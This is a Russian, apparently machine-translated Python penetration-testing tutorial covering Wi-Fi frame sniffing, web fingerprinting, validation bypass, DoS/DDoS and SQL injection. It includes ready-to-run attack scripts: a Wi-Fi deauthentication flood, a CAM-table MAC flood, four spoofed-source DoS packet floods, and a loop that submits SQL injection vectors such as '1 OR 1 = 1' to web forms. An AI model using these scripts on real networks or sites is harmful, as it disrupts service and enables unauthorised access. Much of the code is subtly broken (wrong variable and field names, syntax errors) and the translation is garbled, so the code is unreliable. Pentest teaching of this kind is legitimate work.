Это текстовая строка длиной 0-32 байта, удобочитаемая человеком, которая в основном является именем, присвоенным беспроводной сети. Все устройства в сети должны использовать это имя с учетом регистра для связи по беспроводной сети (Wi-Fi).

Идентификация базового набора услуг (BSSID)

Это MAC-адрес набора микросхем Wi-Fi, работающего на точке беспроводного доступа (AP). Генерируется случайным образом.

Номер канала

Он представляет собой диапазон радиочастот, используемых точкой доступа (AP) для передачи.

Связь между клиентом и беспроводной системой

Еще одна важная вещь, которую нам нужно понять, - это процесс связи между клиентом и беспроводной системой. С помощью следующей диаграммы мы можем понять то же самое -

Рамка маяка

В процессе связи между клиентом и точкой доступа точка доступа периодически отправляет кадр маяка, чтобы показать свое присутствие. Этот фрейм содержит информацию, связанную с SSID, BSSID и номером канала.

Запрос на зонд

Теперь клиентское устройство отправит пробный запрос для проверки доступных точек доступа. После отправки пробного запроса он будет ждать пробного ответа от AP. Запрос Probe содержит такую ​​информацию, как SSID точки доступа, информацию о поставщике и т. Д.

Ответ зонда

Теперь, после получения пробного запроса, AP отправит пробный ответ, который содержит такую ​​информацию, как поддерживаемая скорость передачи данных, возможности и т. Д.

Запрос аутентификации

Теперь клиентское устройство отправит кадр запроса аутентификации, содержащий его идентификатор.

Ответ аутентификации

Теперь в ответ AP отправит кадр ответа аутентификации, указывающий на принятие или отклонение.

Запрос ассоциации

Когда аутентификация прошла успешно, клиентское устройство отправило кадр запроса ассоциации, содержащий поддерживаемую скорость передачи данных и SSID точки доступа.

Ответ ассоциации

Теперь в ответ AP отправит кадр ответа ассоциации, указывающий на принятие или отклонение. В случае принятия будет создан идентификатор ассоциации клиентского устройства.

Поиск идентификатора набора беспроводных услуг (SSID) с помощью Python

Мы можем собрать информацию о SSID с помощью метода сырых сокетов, а также с помощью библиотеки Scapy.

Метод сырого сокета

Мы уже узнали, что mon0захватывает беспроводные пакеты; Итак, нам нужно установить режим монитора наmon0. В Kali Linux это можно сделать с помощьюairmon-ngсценарий. После запуска этого скрипта он даст беспроводной карте имя, скажемwlan1. Теперь с помощью следующей команды нам нужно включить режим монитора наmon0 -

airmon-ng start wlan1

Ниже приводится необработанный метод сокета, скрипт Python, который даст нам SSID точки доступа.

Прежде всего, нам нужно импортировать модули сокетов следующим образом:

import socket

Теперь мы создадим сокет с тремя параметрами. Первый параметр сообщает нам о пакетном интерфейсе (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли это сырым сокетом, а третий параметр сообщает нам, что нас интересуют все пакеты.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Теперь следующая строка свяжет mon0 режим и 0x0003.

s.bind(("mon0", 0x0003))

Теперь нам нужно объявить пустой список, в котором будут храниться SSID точек доступа.

ap_list = []

Теперь нам нужно вызвать recvfrom()метод получения пакета. Для продолжения обнюхивания мы будем использовать бесконечный цикл while.

while True:
   packet = s.recvfrom(2048)

Следующая строка кода показывает, состоит ли кадр из 8 бит, указывающих на кадр маяка.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Анализатор SSID с помощью Scapy

Scapy - одна из лучших библиотек, которая позволяет нам легко перехватывать пакеты Wi-Fi. Вы можете подробно изучить Scapy наhttps://scapy.readthedocs.io/en/latest/. Для начала запустите Sacpy в интерактивном режиме и используйте команду conf, чтобы получить значение iface. Интерфейс по умолчанию - eth0. Теперь, когда у нас есть купол выше, нам нужно изменить этот режим на mon0. Это можно сделать следующим образом -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Давайте теперь импортируем Scapy как библиотеку. Кроме того, выполнение следующего скрипта Python даст нам SSID -

from scapy.all import *

Теперь нам нужно объявить пустой список, в котором будут храниться SSID точек доступа.

ap_list = []

Теперь мы собираемся определить функцию с именем Packet_info(), который будет иметь полную логику парсинга пакетов. У него будет аргумент pkt.

def Packet_info(pkt) :

В следующем заявлении мы применим фильтр, который будет пропускать только Dot11трафик, что означает трафик 802.11. Следующая строка также является фильтром, который пропускает трафик, имеющий тип кадра 0 (представляет кадр управления) и подтип кадра 8 (представляет кадр маякового сигнала).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Теперь функция sniff будет обнюхивать данные с помощью iface значение mon0 (для беспроводных пакетов) и вызовите Packet_info функция.

sniff(iface = "mon0", prn = Packet_info)

Для реализации вышеупомянутых скриптов Python нам понадобится карта Wi-Fi, способная обнюхивать воздух в режиме монитора.

Обнаружение клиентов точки доступа

Для обнаружения клиентов точек доступа нам необходимо захватить кадр зондирующего запроса. Мы можем сделать это так же, как в сценарии Python для сниффера SSID с использованием Scapy. Нам нужно датьDot11ProbeReqдля захвата кадра запроса зонда. Ниже приведен сценарий Python для обнаружения клиентов точек доступа.

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Беспроводные атаки

С точки зрения пентестера очень важно понимать, как происходит беспроводная атака. В этом разделе мы обсудим два типа беспроводных атак:

  • Атаки деаутентификации (деаутентификации)

  • Атака MAC-флуда

Атаки деаутентификации (деаутентификации)

В процессе связи между клиентским устройством и точкой доступа всякий раз, когда клиент хочет отключиться, ему необходимо отправить кадр деаутентификации. В ответ на этот кадр от клиента AP также отправит кадр деаутентификации. Злоумышленник может получить преимущество от этого обычного процесса, подделав MAC-адрес жертвы и отправив кадр деаутентификации в AP. Из-за этого соединение между клиентом и AP разрывается. Ниже приведен сценарий Python для выполнения атаки деаутентификации.

Давайте сначала импортируем Scapy как библиотеку -

from scapy.all import *
import sys

Следующие два утверждения вводят MAC-адрес точки доступа и жертвы соответственно.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Теперь нам нужно создать фрейм деаутентификации. Его можно создать, выполнив следующую инструкцию.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

Следующая строка кода представляет общее количество отправленных пакетов; здесь 500 и интервал между двумя пакетами.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Вывод

После выполнения вышеуказанная команда генерирует следующий вывод:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

За этим следует создание кадра деаутентификации, который тем самым отправляется в точку доступа от имени клиента. Это приведет к разрыву связи между ними.

Вопрос в том, как нам обнаружить атаку деаутентификации с помощью скрипта Python. Выполнение следующего скрипта Python поможет в обнаружении таких атак -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

В приведенном выше сценарии инструкция pkt.subtype == 12 указывает фрейм деаутентификации, а глобально определенная переменная I сообщает о количестве пакетов.

Вывод

Выполнение вышеуказанного скрипта генерирует следующий вывод -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Атаки лавинным MAC-адресом

Атака лавинной рассылкой MAC-адресов (атака лавинной рассылки таблиц CAM) - это тип сетевой атаки, при которой злоумышленник, подключенный к порту коммутатора, заполняет интерфейс коммутатора очень большим количеством кадров Ethernet с разными поддельными MAC-адресами источника. Переполнение таблицы CAM происходит, когда в таблицу засыпается поток MAC-адресов и достигается пороговое значение таблицы CAM. Это заставляет коммутатор действовать как концентратор, наводняя сеть трафиком на всех портах. Такие атаки очень легко запускать. Следующий скрипт Python помогает запустить такую ​​атаку переполнения CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Основная цель такой атаки - проверить безопасность коммутатора. Нам нужно использовать безопасность порта, если мы хотим уменьшить эффект атаки MAC-переполнения.

Веб-приложения и веб-серверы имеют решающее значение для нашего присутствия в Интернете, и наблюдаемые против них атаки составляют более 70% от общего числа попыток атак в Интернете. Эти атаки пытаются превратить доверенные веб-сайты во вредоносные. По этой причине тестирование веб-серверов и веб-приложений на проникновение играет важную роль.

Фут-печать веб-сервера

Зачем нужно думать о безопасности веб-серверов? Это связано с тем, что с быстрым ростом индустрии электронной коммерции основной целью злоумышленников является веб-сервер. Для тестирования на проникновение веб-сервера мы должны знать о веб-сервере, его программном обеспечении для хостинга и операционных системах, а также о приложениях, которые на них работают. Сбор такой информации о веб-сервере называется отслеживанием веб-сервера.

В следующем разделе мы обсудим различные методы создания отпечатков веб-сервера.

Методы отпечатка веб-сервера

Веб-серверы - это серверное программное обеспечение или оборудование, предназначенное для обработки запросов и обслуживания ответов. Это ключевая область, на которой пентестеру следует сосредоточиться при тестировании веб-серверов на проникновение.

Давайте теперь обсудим несколько методов, реализованных на Python, которые могут быть выполнены для отпечатка веб-сервера:

Проверка доступности HTTP-методов

Хорошая практика для тестера на проникновение - начать с перечисления различных доступных HTTP-методов. Ниже приведен сценарий Python, с помощью которого мы можем подключиться к целевому веб-серверу и перечислить доступные методы HTTP.

Для начала нам нужно импортировать библиотеку запросов -

import requests

После импорта библиотеки запросов создадим массив HTTP-методов, который мы собираемся отправить. Мы будем использовать некоторые стандартные методы, такие как «GET», «POST», «PUT», «DELETE», «OPTIONS» и нестандартный метод «TEST», чтобы проверить, как веб-сервер может обрабатывать неожиданный ввод.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

Следующая строка кода является основным циклом сценария, который отправляет HTTP-пакеты на веб-сервер и распечатывает метод и код состояния.

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

Следующая строка проверяет возможность межсайтовой трассировки (XST), отправляя метод TRACE.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

После запуска приведенного выше сценария для определенного веб-сервера мы получим 200 ответов ОК для определенного метода, принятого веб-сервером. Мы получим ответ 403 Forbidden, если веб-сервер явно отклоняет метод. Как только мы отправим метод TRACE для тестирования межсайтовой трассировки (XST), мы получим405 Not Allowed ответы от веб-сервера, иначе мы получим сообщение ‘Cross Site Tracing(XST) is possible’.

Печать стоп с проверкой заголовков HTTP

Заголовки HTTP находятся как в запросах, так и в ответах веб-сервера. Они также несут очень важную информацию о серверах. Вот почему тестировщику проникновения всегда интересно разбирать информацию через HTTP-заголовки. Ниже приведен сценарий Python для получения информации о заголовках веб-сервера.

Для начала импортируем библиотеку запросов -

import requests

Нам нужно отправить запрос GET на веб-сервер. Следующая строка кода выполняет простой запрос GET через библиотеку запросов.

request = requests.get('enter the URL')

Далее мы сформируем список заголовков, о которых вам нужна информация.

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

Далее следует блок try и except.

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

После запуска вышеуказанного сценария для конкретного веб-сервера мы получим информацию о заголовках, представленных в списке заголовков. Если для определенного заголовка не будет информации, появится сообщение «Детали не найдены». Вы также можете узнать больше о полях HTTP_header по ссылке -https://www.tutorialspoint.com/http/http_header_fields.htm.

Тестирование небезопасных конфигураций веб-сервера

Мы можем использовать информацию заголовка HTTP для тестирования небезопасных конфигураций веб-сервера. В следующем скрипте Python мы собираемся использовать блок try / except для проверки небезопасных заголовков веб-сервера для количества URL-адресов, которые сохраняются в имени текстового файла.websites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

След веб-приложения

В предыдущем разделе мы обсудили создание отпечатков веб-сервера. Точно так же отпечаток веб-приложения также считается важным с точки зрения тестера на проникновение.

В нашем следующем разделе мы узнаем о различных методах создания отпечатков веб-приложения.

Методы следа веб-приложения

Веб-приложение - это программа клиент-сервер, которая запускается клиентом на веб-сервере. Это еще одна ключевая область, на которой пентестеру следует сосредоточиться при тестировании веб-приложений на проникновение.

Давайте теперь обсудим различные методы, реализованные в Python, которые можно использовать для создания отпечатков веб-приложения.

Сбор информации с помощью парсера BeautifulSoup

Предположим, мы хотим собрать все гиперссылки с веб-страницы; мы можем использовать парсер BeautifulSoup. Парсер - это библиотека Python для извлечения данных из файлов HTML и XML. Его можно использовать сurlib потому что ему нужны входные данные (документ или URL-адрес) для создания объекта супа, и он не может получить веб-страницу самостоятельно.

Для начала импортируем необходимые пакеты. Мы импортируем urlib иBeautifulSoup. Помните, что перед импортом BeautifulSoup нам необходимо установить его.

import urllib
from bs4 import BeautifulSoup

Приведенный ниже скрипт Python соберет заголовок веб-страницы и гиперссылки -

Теперь нам нужна переменная, в которой может храниться URL-адрес веб-сайта. Здесь мы будем использовать переменную с именем url. Мы также будем использоватьpage.read() функция, которая может хранить веб-страницу и назначать ее переменной html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

В html_page будет назначен как вход для создания объекта супа.

soup_object = BeautifulSoup(html_page)

Следующие две строки напечатают название заголовка с тегами и без тегов соответственно.

print soup_object.title
print soup_object.title.text

Строка кода, показанная ниже, сохранит все гиперссылки.

for link in soup_object.find_all('a'):
   print(link.get('href'))

Захват баннера

Баннер похож на текстовое сообщение, которое содержит информацию о сервере, а захват баннера - это процесс получения этой информации, предоставляемой самим баннером. Теперь нам нужно знать, как создается этот баннер. Он генерируется заголовком отправленного пакета. И пока клиент пытается подключиться к порту, сервер отвечает, потому что заголовок содержит информацию о сервере.

Следующий скрипт Python помогает захватить баннер с помощью программирования сокетов:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

После запуска приведенного выше сценария мы получим информацию о заголовках, аналогичную той, что мы получили из сценария Python для создания отпечатков HTTP-заголовков в предыдущем разделе.

В этой главе мы узнаем, как проверка помогает при пентестинге Python.

Основная цель проверки - проверить и убедиться, что пользователь предоставил необходимую и правильно отформатированную информацию, необходимую для успешного выполнения операции.

Есть два разных типа проверки -

  • проверка на стороне клиента (веб-браузер)
  • проверка на стороне сервера

Проверка на стороне сервера и проверка на стороне клиента

Проверка пользовательского ввода, которая происходит на стороне сервера во время сеанса обратной передачи, называется server-side validation. Такие языки, как PHP и ASP.Net, используют проверку на стороне сервера. После завершения процесса проверки на стороне сервера обратная связь отправляется обратно клиенту путем создания новой динамической веб-страницы. С помощью проверки на стороне сервера мы можем получить защиту от злонамеренных пользователей.

С другой стороны, проверка пользовательского ввода, которая происходит на стороне клиента, называется проверкой на стороне клиента. Языки сценариев, такие как JavaScript и VBScript, используются дляclient-side validation. В этом виде проверки все действия, вводимые пользователем, выполняются только в браузере пользователя. Это не так безопасно, как проверка на стороне сервера, потому что хакер может легко обойти наш язык сценариев на стороне клиента и отправить опасный ввод на сервер.

Настройка параметров на стороне клиента: обход проверки

Передача параметров в протоколе HTTP может осуществляться с помощью методов POST и GET. GET используется для запроса данных из указанного ресурса, а POST используется для отправки данных на сервер для создания или обновления ресурса. Одно из основных различий между обоими этими методами заключается в том, что если веб-сайт использует метод GET, то передаваемые параметры отображаются в URL-адресе, и мы можем изменить этот параметр и передать его веб-серверу. Например, строка запроса (пары имя / значение) отправляется в URL-адресе запроса GET:/test/hello_form.php?name1 = value1&name2 = value2. С другой стороны, при использовании метода POST параметры не отображаются. Данные, отправленные на сервер с помощью POST, хранятся в теле запроса HTTP-запроса. Например, POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

Модуль Python для обхода проверки

Модуль Python, который мы собираемся использовать, mechanize. Это веб-браузер Python, который предоставляет возможность получения веб-форм на веб-странице, а также облегчает отправку входных значений. С помощью Mechanize мы можем обойти параметры проверки и корректировки на стороне клиента. Однако, прежде чем импортировать его в наш скрипт Python, нам необходимо установить его, выполнив следующую команду -

pip install mechanize

пример

Ниже приведен сценарий Python, в котором для обхода проверки веб-формы с помощью метода POST для передачи параметра используется механизация. Веб-форму можно взять по ссылкеhttps://www.tutorialspoint.com/php/php_validation_example.htm и может использоваться на любом фиктивном веб-сайте по вашему выбору.

Для начала импортируем браузер Mechanize -

import mechanize

Теперь мы создадим объект с именем brwsr браузера Mechanize -

brwsr = mechanize.Browser()

Следующая строка кода показывает, что пользовательский агент не является роботом.

brwsr.set_handle_robots( False )

Теперь нам нужно предоставить URL-адрес нашего фиктивного веб-сайта, содержащего веб-форму, на которой нам нужно обойти проверку.

url = input("Enter URL ")

Теперь следующие строки установят для некоторых родителей значение true.

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

Затем он откроет веб-страницу и распечатает веб-форму на этой странице.

brwsr.open(url)
for form in brwsr.forms():
   print form

Следующая строка кодов будет обходить проверки в указанных полях.

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

Последняя часть скрипта может быть изменена в соответствии с полями веб-формы, в которых мы хотим обойти проверку. Здесь, в приведенном выше скрипте, мы взяли два поля -‘name’ и ‘gender’ который нельзя оставить пустым (вы можете увидеть в коде веб-формы), но этот скрипт обойдет эту проверку.

В этой главе мы узнаем о DoS- и DdoS-атаках и поймем, как их обнаружить.

С бумом в индустрии электронной коммерции веб-сервер теперь уязвим для атак и стал легкой мишенью для хакеров. Хакеры обычно используют два типа атак:

  • DoS (отказ в обслуживании)
  • DDoS (распределенный отказ в обслуживании)

DoS-атака (отказ в обслуживании)

Атака отказа в обслуживании (DoS) - это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает работу хоста, временно или на неопределенный срок, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, платежные шлюзы кредитных карт.

Симптомы DoS-атаки

  • Необычно низкая производительность сети.

  • Недоступность определенного веб-сайта.

  • Невозможность получить доступ к любому веб-сайту.

  • Резкое увеличение количества полученных спам-писем.

  • Длительный отказ в доступе к сети или каким-либо интернет-сервисам.

  • Недоступность определенного веб-сайта.

Типы DoS-атак и их реализация на Python

DoS-атака может быть реализована на уровне канала передачи данных, сети или приложения. Давайте теперь узнаем о различных типах DoS-атак &; их реализация на Python -

Один IP-порт, один порт

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт python поможет реализовать DoS-атаку с одним IP-адресом и одним портом:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

После выполнения приведенный выше скрипт запросит следующие три вещи:

  • IP-адрес источника и цели.

  • IP-адрес номера порта источника.

  • Затем он отправит на сервер большое количество пакетов для проверки его поведения.

Один IP Несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт python поможет реализовать DoS-атаку с одним IP-адресом и несколькими портами:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Несколько IP-адресов, один порт

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и одного номера порта. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с одним IP-адресом и несколькими портами -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Несколько IP-адресов, несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими IP-адресами:

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

DDoS-атака (распределенный отказ в обслуживании)

Распределенная атака типа «отказ в обслуживании» (DDoS) - это попытка сделать онлайн-сервис или веб-сайт недоступными, перегрузив их огромными потоками трафика, генерируемого из нескольких источников.

В отличие от атаки типа «отказ в обслуживании» (DoS), при которой один компьютер и одно подключение к Интернету используются для наводнения целевого ресурса пакетами, в атаке DDoS используется множество компьютеров и множество подключений к Интернету, которые часто распространяются по всему миру в так называемом ботнете. . Масштабная объемная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Подробнее об этом можно прочитать наhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Обнаружение DDoS с использованием Python

На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, который отправляет трафик, поддельный или настоящий. Приведенный ниже скрипт Python поможет обнаружить DDoS-атаку.

Для начала импортируем необходимые библиотеки -

import socket
import struct

from datetime import datetime

Теперь мы создадим сокет, который мы создали в предыдущих разделах.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Мы будем использовать пустой словарь -

dict = {}

Следующая строка кода откроет текстовый файл со сведениями о DDoS-атаке в режиме добавления.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

С помощью следующей строки кода текущее время будет записываться при каждом запуске программы.

file_txt.writelines(t1)
file_txt.writelines("\n")

Теперь нам нужно принять попадания с определенного IP-адреса. Здесь мы предполагаем, что если конкретный IP-адрес поражает более 15 раз, это будет атака.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, он увеличит его на 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Следующая строка кода используется для удаления избыточности.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

После запуска приведенного выше скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет распечатан, поскольку DDoS-атака обнаружена вместе с этим IP-адресом.

SQL-инъекция - это набор команд SQL, которые помещаются в строку URL-адреса или в структуры данных для получения нужного нам ответа из баз данных, связанных с веб-приложениями. Этот тип атак обычно имеет место на веб-страницах, разработанных с использованием PHP или ASP.NET.

Атака с использованием SQL-инъекции может быть выполнена со следующими намерениями:

  • Для изменения содержимого баз данных

  • Для изменения содержимого баз данных

  • Для выполнения различных запросов, которые не разрешены приложением

Этот тип атаки работает, когда приложения не проверяют правильность входных данных перед передачей их оператору SQL. Инъекции обычно помещаются в адресные строки, поля поиска или поля данных.

Самый простой способ определить, уязвимо ли веб-приложение для атаки с использованием SQL-инъекции, - использовать символ «'» в строке и посмотреть, не возникнет ли ошибка.

Типы атак SQLi

В этом разделе мы узнаем о различных типах атак SQLi. Атаки можно разделить на следующие два типа:

  • Внутриполосное внедрение SQL (простой SQLi)

  • Логическая SQL-инъекция (слепой SQLi)

Внутриполосное внедрение SQL (простой SQLi)

Это самая распространенная SQL-инъекция. Этот вид SQL-инъекции в основном происходит, когда злоумышленник может использовать один и тот же канал связи как для запуска атаки, так и для сбора результатов. Внутриполосные инъекции SQL делятся на два типа:

  • Error-based SQL injection - Методика SQL-инъекции на основе ошибок основана на сообщении об ошибке, выданном сервером базы данных, для получения информации о структуре базы данных.

  • Union-based SQL injection - Это еще один метод внутриполосного внедрения SQL, который использует оператор UNION SQL для объединения результатов двух или более операторов SELECT в один результат, который затем возвращается как часть ответа HTTP.

Логическая SQL-инъекция (слепой SQLi)

В этом типе атаки с использованием SQL-инъекции злоумышленник не может увидеть результат атаки внутри канала, потому что никакие данные не передаются через веб-приложение. По этой причине его также называют слепым SQLi. Логические SQL-инъекции бывают двух типов:

  • Boolean-based blind SQLi - Этот вид техники основан на отправке SQL-запроса в базу данных, который заставляет приложение возвращать другой результат в зависимости от того, возвращает запрос TRUE или FALSE.

  • Time-based blind SQLi- Этот вид техники основан на отправке SQL-запроса к базе данных, который заставляет базу данных ждать определенное время (в секундах) перед тем, как ответить. Время ответа укажет злоумышленнику, является ли результат запроса ИСТИННЫМ или ЛОЖНЫМ.

пример

Все типы SQLi можно реализовать, управляя входными данными в приложении. В следующих примерах мы пишем сценарий Python для внедрения векторов атаки в приложение и анализа выходных данных, чтобы проверить возможность атаки. Здесь мы собираемся использовать модуль Python с именемmechanize, который дает возможность получать веб-формы на веб-странице, а также облегчает отправку входных значений. Мы также использовали этот модуль для проверки на стороне клиента.

Следующий скрипт Python помогает отправлять формы и анализировать ответ с помощью mechanize -

Прежде всего нам нужно импортировать mechanize модуль.

import mechanize

Теперь укажите имя URL-адреса для получения ответа после отправки формы.

url = input("Enter the full url")

Следующая строка кода откроет URL-адрес.

request = mechanize.Browser()
request.open(url)

Теперь нам нужно выбрать форму.

request.select_form(nr = 0)

Здесь мы установим имя столбца «id».

request["id"] = "1 OR 1 = 1"

Теперь нам нужно отправить форму.

response = request.submit()
content = response.read()
print content

Приведенный выше сценарий распечатает ответ на запрос POST. Мы отправили вектор атаки, чтобы сломать SQL-запрос и распечатать все данные в таблице вместо одной строки. Все векторы атак будут сохранены в текстовом файле, например vectors.txt. Теперь приведенный ниже скрипт Python получит эти векторы атак из файла и отправит их на сервер один за другим. Он также сохранит вывод в файл.

Для начала импортируем модуль механизации.

import mechanize

Теперь укажите имя URL-адреса для получения ответа после отправки формы.

url = input("Enter the full url")
   attack_no = 1

Нам нужно прочитать векторы атак из файла.

With open (‘vectors.txt’) as v:

Теперь отправим запрос с каждым вектором арака.

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Теперь следующая строка кода запишет ответ в выходной файл.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Проверяя и анализируя ответы, мы можем определить возможные атаки. Например, если он предоставляет ответ, включающий предложениеYou have an error in your SQL syntax тогда это означает, что на форму может повлиять SQL-инъекция.

